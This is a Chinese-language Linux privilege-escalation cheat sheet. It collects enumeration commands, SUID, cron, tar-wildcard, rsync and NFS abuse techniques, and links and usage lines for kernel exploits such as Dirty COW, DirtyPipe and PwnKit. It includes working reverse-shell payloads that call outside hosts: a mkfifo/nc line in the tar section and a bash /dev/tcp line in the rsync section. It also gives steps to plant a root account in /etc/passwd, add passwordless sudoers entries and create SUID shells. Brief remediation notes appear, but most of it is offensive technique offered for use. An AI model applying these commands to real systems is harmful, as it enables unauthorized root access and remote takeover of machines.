Linux提权概述
Linux的提权主要分为基于内核的提权和其他提权,内核提权好处是只要是使用了漏洞版本的内核,那么基本exp通杀,缺点是不稳定,容易丢失shell或者造成系统崩溃,造成损失。
Linux提权的思路主要是:
- 上传提权遍历脚本遍历系统内核情况
- 根据系统开启的服务进行针对性提权
提权信息收集脚本
- exploit_Suggester.pl
- linux-exploit-suggester.sh
- unix-privesc-check
- linprivchecker.py
- linux-exploit-suggester-2.pl
Linux提权实操
信息收集
内核,操作系统,设备信息
1 | uname -a 打印所有可用的系统信息 |
用户和群组
1 | cat /etc/passwd 列出系统上的所有用户 |
用户权限信息
1 | whoami 当前用户名 |
环境信息
1 | env 显示环境变量 |
进程和服务
1 | ps aux |
查看以root 运行的进程
1 | ps aux | grep root |
查看安装的软件
1 | ls -alh /usr/bin/ |
服务/插件
检查有没有不安全的服务配置,和一些有漏洞的插件。
1 | cat /etc/syslog.conf |
计划任务
1 | crontab -l |
有无明文存放用户密码
1 | grep -i user [filename] |
有无ssh 私钥
1 | cat ~/.ssh/authorized_keys |
查看当前机器通信的其他用户或者主机
1 | lsof -i |
日志文件
1 | cat /var/log/boot.log |
查看可写/执行目录
1 | find / -writable -type d 2>/dev/null # world-writeable folders |
查看安装过的工具
1 | find / -name perl* |
Docker提权
docker组拥有启动docker的权限,此时如果将本地磁盘映射到docker里面并且用容器内的root权限修改,就可以读取宿主机的内容甚至添加拥有sudo权限的用户
docker run -it –rm -v /etc:/etc ubuntu /bin/bash
adduser test
usermod -aG sudo test
此时已经添加具有sudo的test用户成功了,退出重新进就可以启用了
参考链接:https://www.freebuf.com/articles/system/170783.html
SUID提权
原理参考:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。
当可执行文件设置了s位,并且可执行文件的所有者是root
时可尝试suid提取
设置suid:
1 | chmod u+s file1.txt |
查找设置了s位的可执行文件
1 | find / -perm -4000 2> /dev/null |
find提权
查找有特殊权限的suid命令
找到/usr/bin/find后
1 | touch test |
即可提权成功
nmap提权
nmap5.2前的版本可通过--interactive
交互模式进行提权
1 | nmap --interactive |
nmap5.2后的版本可通过执行脚本的方式进行提权
编写shell.nse,内容是
1
os.execute('/bin/sh')
通过nmap执行脚本
1
nmap --script=shell.nse
vim提权
给/usr/bin/vim增加suid权限后可以实现vim提权
1 | vim |
或者增加root组用户
生成密码
1
2openssl passwd -1 -salt asd 123456
# openssl passwd -{1,2,3,4,5,6} -salt salt passwd写入到
/etc/passwd
toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash
即可获得root权限的shell
PATH提权
思想就是利用系统查找命令的二进制文件的优先级不同来执行我们的命令,具体可以看Moonback师傅的博客
https://www.wolai.com/c18w5sZT8VTmCTVjizqk9w
1 | root@hackerqwq-virtual-machine:/home/hackerqwq/桌面# export PATH=/tmp:${PATH} |
sudo提权(CVE-2021-3156)
简介
由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
影响范围
- Sudo 1.8.2 - 1.8.31p2
- Sudo 1.9.0 - 1.9.5p1
测试系统是否易受此漏洞影响:
以非root用户身份登录系统。
运行命令“sudoedit -s /”
如果出现以“ sudoedit:”开头的错误响应,则系统受到此漏洞影响;如果出现以“ usage:”开头的错误响应,则表示该漏洞已被补丁修复。
利用工具:https://github.com/blasty/CVE-2021-3156
crontab提权
crontab是Linux用于计划任务的功能文件
- 基本用法
1 | crontab -e 编辑当前的crontab文件,默认保存在/var/spool/cron/用户名下 |
文件位置
/var/spool/cron/user
用于区分每个用户的执行计划/etc/crontab
用于写系统执行计划,需要在星号后面添加执行命令的用户crontab语法
1 | 分 时 日 月 周 需要执行的命令 |
比如
1 | */1 * * * * echo `date >> /tmp/date |
每分钟输出时间到/tmp/date
文件中
漏洞利用
加入系统任务中添加了一个指定高权限用户执行脚本的任务,并且该脚本可以被低权限用户修改,这样低权限用户可以进行垂直提权操作
添加root组用户
- 生成密码
1 | openssl passwd -1 -salt asd 123456 |
- 写入到
/etc/passwd
toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash
即可获得root权限的shell
复制bash
1 | echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> test.sh |
通配符提权
chmod&chown提权
主要利用到--reference=RFILE
和通配符进行提权
原理:chown的--reference
选项可将当前用户的所有者改变为引用文件的所有者,结合通配符*
进行提权
应用场景:root用户会使用chown或者chmod命令配合--reference
选项和通配符*
进行权限修改
用法:
1 | #创建当前用户权限的文件 |
由于文件名中不能有斜杠,因此如果要通过crontab的脚本进行提权,可以在要获得权限的目录创建脚本文件,在crontab执行的脚本中添加该脚本,最后命令会由于通配符演变成
1 | chown root my.php chown.php(原有文件) --reference=my.php |
tar提权
简介:tar用于压缩或解压,当crontab使用tar命令打包某个目录下的所有文件时,可以造成通配符注入,如下
原理:--checkpoint
规定了写入几个记录之后设置检查点,--checkpoint-exec
规定了执行的外部命令
操作如下:
生成反弹shell的payload
这里用Hack Tools进行payload生成
创建恶意文件
1
2
3
4
5
6
7
8#创建反弹shell的脚本
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.141 8888 >/tmp/f" > shell.sh
#创建checkpoint-action执行文件
echo > "--checkpoint-action=exec sh shell.sh"
#创建checkpoint
echo > --checkpoint=1
#tar执行命令
tar cf archive.tar *
遇到压缩路径的问题,当tar压缩路径包含绝对路径的时候,提权失败,因为压缩的时候带上了路径信息
因此如果要提权成功,需要进入到要压缩的目录,如
1
cd /var/www/html;tar cf archive.tar *
使用绝对路径压缩的结构
tar cf archive.tar /var/www/html/*
使用相对路径压缩的结构
tar cf archive.tar *
没有出现
--checkpoint
那些文件是因为执行反弹shell的命令了
tar提权更多操作
可以将某个用户添加到sudoers中,从而无密码执行root可执行的命令
1
echo 'echo "test ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > shell.sh
可以给可进行suid提权的二进制文件赋予suid权限
1
2
3
4
5
6echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
find f1 -exec "whoami" \;
find f1 -exec "/bin/sh" \;
rsync提权
rsync简介
rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。
rsync默认端口是873
rsync用法
1 | #查看目录 |
rsync漏洞利用
如果rsync.conf文件未设置auth users
,那么就存在未授权访问漏洞,可以通过修改crontab,上传文件等方式获取权限
crontab+上传shell获取反弹shell
从服务器下载crontab修改后上传
1
rsync -avz rsync://192.168.16.141:873/src/etc/crontab
增加一行然后上传
1
2
3
4#crontab增加一行计划任务
*/1 * * * * root /tmp/shell.sh
#上传crontab
rsync -avz crontab rsync://192.168.16.141:873/src/etc/crontab
创建反弹shell上传
1
2
3
4
5#创建shell
#!/bin/bash
bash -i &>/dev/tcp/139.224.247.105/8888 <&1
#上传shell
rsync -avz shell.sh rsync://192.168.16.141:873/src/tmp/shell.sh获得shell
crontab(hourly)+shell
修改shell文件名为shell,并上传至
/etc/cron.hourly
修改crontab
1
*/1 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每分钟执行一次
/etc/cron.hourly
文件夹下的文件监听接收shell
nmap扫描rsync的脚本
https://svn.nmap.org/nmap/scripts/rsync-list-modules.nse
1
nmap -p 873 --script rsync-list-modules 192.168.16.141
rssh 2.3.3-3在使用rsync时没有正确过滤 -e 选项,可导致远程攻击者利用此漏洞执行任意命令。
攻击语句:
1
rsync -e./script.sh localhost:/tmp--server ./
NFS弱权限提权
NFS简介
网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。
Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话的话”,并为远程用户授予root用户对所连接系统的访问权限。
如下图所示,该共享可以被远程root连接并读写,并且具有root权限,所以可以添加bash文件并赋予SUID权限,在目标机器的普通用户权限下可以执行bash文件,获取root权限。
NFS提权漏洞利用
查看NFS服务器上的共享目录
1
sudo showmount -e 10.1.1.233
本地挂载目录,使用攻击者本地root权限创建Suid shell。
1
2
3
4sudo mkdir -p /tmp/data
sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data
cp /bin/bash /tmp/data/shell
chmod u+s /tmp/data/shell在shell上使用
shell -p
参数获取root权限
修复建议
更改配置文件/etc/rsyncd.conf
,添加或修改参数:
- 访问控制,设置host allow,限制访问主机IP;
- 权限控制,设置read only=yes,模块设置为只读;
- 访问认证,设置auth、secrets,认证成功才能调用服务;
- 模块隐藏,设置list,将模块隐藏起来。
内核提权
脏牛提权
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复
原理
Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)
竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
脏牛提权官网
https://dirtycow.ninja/
测试
https://gist.github.com/HacKerQWQ/46e9df80b2159847bce5e208084eb7e1
用法:
1 | gcc -pthread dirty.c -o dirty -lcrypt |
- CVE-2016-5195
成功范围:
RHEL7 Linux x86_64;
RHEL4 (4.4.7-16, with “legacy” version)
Debian 7 (“wheezy”);
Ubuntu 14.04.1 LTS
Ubuntu 14.04.5 LTS
Ubuntu 16.04.1 LTS
Ubuntu 16.10
Linux Mint 17.2
and compiled with:clang version 4.0.0;
gcc version 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)
gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC);
gcc version 4.8.4 (Ubuntu 4.8.4);
gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
gcc version 4.7.2 (Debian 4.7.2-5);
gcc version 4.4.7 (with “legacy” version)
链接:
https://www.exploit-db.com/exploits/40847
用法:
1 | all: dcow |
以下命令用于恢复/etc/passwd
1 | cp /tmp/.ssh_bak /etc/passwd |
总结
原理都是利用官方的exp获取了写入权限后,对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限。优点方便快速。缺点受限与环境影响。某些环境下会失败。如果失败还是使用官方放出的exp,对/etc/passwd进行写入,写入前一定要记得先备份!
参考链接
CVE-2022-0847(DirtyPipe,5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102)
2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。
在3月7日, 漏洞发现者Max Kellermann详细披露了该漏洞细节以及完整POC。Paper中不光解释了该漏洞的触发原因, 还说明了发现漏洞的故事, 以及形成该漏洞的内核代码演变过程, 非常适合深入研究学习。
漏洞影响版本: 5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102
修复版本:
- 5.16.11
- 5.15.25
- 5.10.102
项目地址:https://github.com/eduquintanilha/CVE-2022-0847-DirtyPipe-Exploits
1 | sudo apt-get install gcc |
Ubuntu20.04实验成功
CVE-2022-34918( 5.8 <= Linux Kernel <= 5.18.9)
介绍:Linux Kernel本地提权漏洞
项目地址:https://github.com/veritas501/CVE-2022-34918.git
CVE-2021-4034(CentOS、Ubuntu系列)
在 polkit 的 pkexec 实用程序中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过制作环境变量来利用这一点,从而诱导 pkexec 执行任意代码。成功执行后,由于目标计算机上的非特权用户管理权限,攻击可能会导致本地特权升级。
Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的预装组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。
影响范围
由于 polkit 为系统预装工具,目前主流Linux版本均受影响。
不受影响范围
1 | CentOS系列: |
利用漏洞
1 | git clone https://github.com/berdav/CVE-2021-4034.git |
或者使用exploit-db的脚本
https://www.exploit-db.com/exploits/50689
漏洞修复
Centos:
1 | yum cleanall && yum makecacheyum updatepolkit -y |
Ubuntu:
1 | sudo apt-get updatesudo apt-get install policykit-1 |
Red Hat:
1、按照https://access.redhat.com/solutions/5441的指示安装所需的 systemtap 包和依赖项
2、安装polkit调试信息
1 | debuginfo-install polkit |
3、创建以下 systemtap 脚本,并将其命名为 pkexec-block.stp
1 | probe process("/usr/bin/pkexec").function("main") { |
4、将 systemtap 模块加载到正在运行的内核中
1 | stap -g -F -m stap_pkexec_block pkexec_block.stp |
5、确保模块已加载
1 | lsmod | grep -i stap_pkexec_block |
6、将 polkit 包更新到包含修复的版本后,可以通过运行以下命令删除 systemtap 生成的内核模块
1 | rmmod stap_pkexec_block |
CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
描述:条件竞争漏洞,可以让低权限的进程获得内核代码执行权限
用法:
1 | ./chocobo_root |
POC: https://www.seebug.org/vuldb/ssvid-92567
CVE-2019-13272(Ubuntu、Debian系列)
发布时间:
2019月7月17日
影响内核版本:
Linux Kernel < 5.1.17
漏洞描述:
译文
kernel 5.1.17之前版本中存在安全漏洞,该漏洞源于kernel/ptrace.c文件的ptrace_link没有正确处理对凭证的记录。攻击者可利用该漏洞获取root访问权限。由于 PTRACE_TRACEME允许的borked权限,利用bug在概念上很有趣。对象生命周期处理问题可能会导致内存损坏,但它需要以精确的方式进行代码竞争。事实PTRACE_TRACEME证明,除了父进程之外,内核还记录了跟踪器的凭据。研究人员概述的方案涉及一个父进程,该进程创建一个子进程,这个子进程会创建子进程。第一个子进程使用命令pkexec(用于以root身份运行程序),第二个子进程运行PTRACE_TRACEME,然后第一个子进程丢弃其权限。最终结果是父进程可以使用ptrace来控制第一个子进程,后者可以使用ptrace来控制第二个子进程 - 从而让攻击者获得对两个进程的控制权。
漏洞复现:
作者已测试成功的版本:
局限:
我尝试在ssh登录时去复现,未能成功。
CVE-2017-16995(Ubuntu本地提权)
影响范围:Linux Kernel Version 4.14-4.4
kernel/bpf/verifier.c 中的 check_alu_op 函数允许本地用户通过利用不正确的符号扩展来导致拒绝服务(内存损坏)或可能产生未指定的其他影响。
Ubuntu版本16.04收到影响
利用方法:
1 | $ gcc -o pwned upstream44.c |
CVE-2017-1000367(sudo本地提权漏洞,Sudo 1.8.6p7 - 1.8.)
https://github.com/SecWiki/linux-kernel-exploits/tree/master/2017/CVE-2017-1000367
sudo
1 | Sudo 1.8.6p7 - 1.8.20 |
Requirements
- System must be selinux-enabled
- sudo needs to be built with selinux support (sudo -r)
- User needs to have sudo permissions e.g. “toor ALL=(ALL) NOPASSWD: /usr/bin/sum”
Usage
1 | - Compile: gcc -o sudopwn sudopwn.c -lutil |
CVE-2017-1000364
描述:Linux Kernel Stack Clash安全漏洞。该漏洞是由于操作系统内存管理中的一个堆栈冲突漏洞,它影响Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻击者可以利用它破坏内存并执行任意代码 。
CVE-2022-34918(Net-filter)
由于nft_set_elem_init函数中对用户输入的弱检查存在缺陷,最终导致缓冲区溢出,攻击者成功利用此漏洞可实现本地权限提升(LPE)为root。该漏洞的利用前提需要获取非特权用户命名空间。请受影响的用户尽快采取措施进行防护。 Netfilter是Linux内核中的数据包处理模块,它提供了一个数据包的过滤、工具可以处理、可以地址转换NAT的功能。 影响范围:5.8 <= Linux Netfilter <= 5.18.9
项目地址:https://github.com/randorisec/CVE-2022-34918-LPE-PoC
1 | $ ls |
CVE-2016-1247(Nginx权限提升漏洞)
描述:Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
提权相关代码在GetRoot目录,POC中是上面提到的几个本地提权源代码,release中分别是编译好的32位和64位程序。
CVE-2017-6074(DCCP双重释放漏洞 > 2.6.18)
描述:DCCP双重释放漏洞可允许本地低权限用户修改Linux内核内存,导致拒绝服务(系统崩溃)或者提升权限,获得系统的管理访问权限
用法:
1 | ./pwn |
POC:https://github.com/SecWiki/linux-kernel-exploits/tree/master/2017/CVE-2017-6074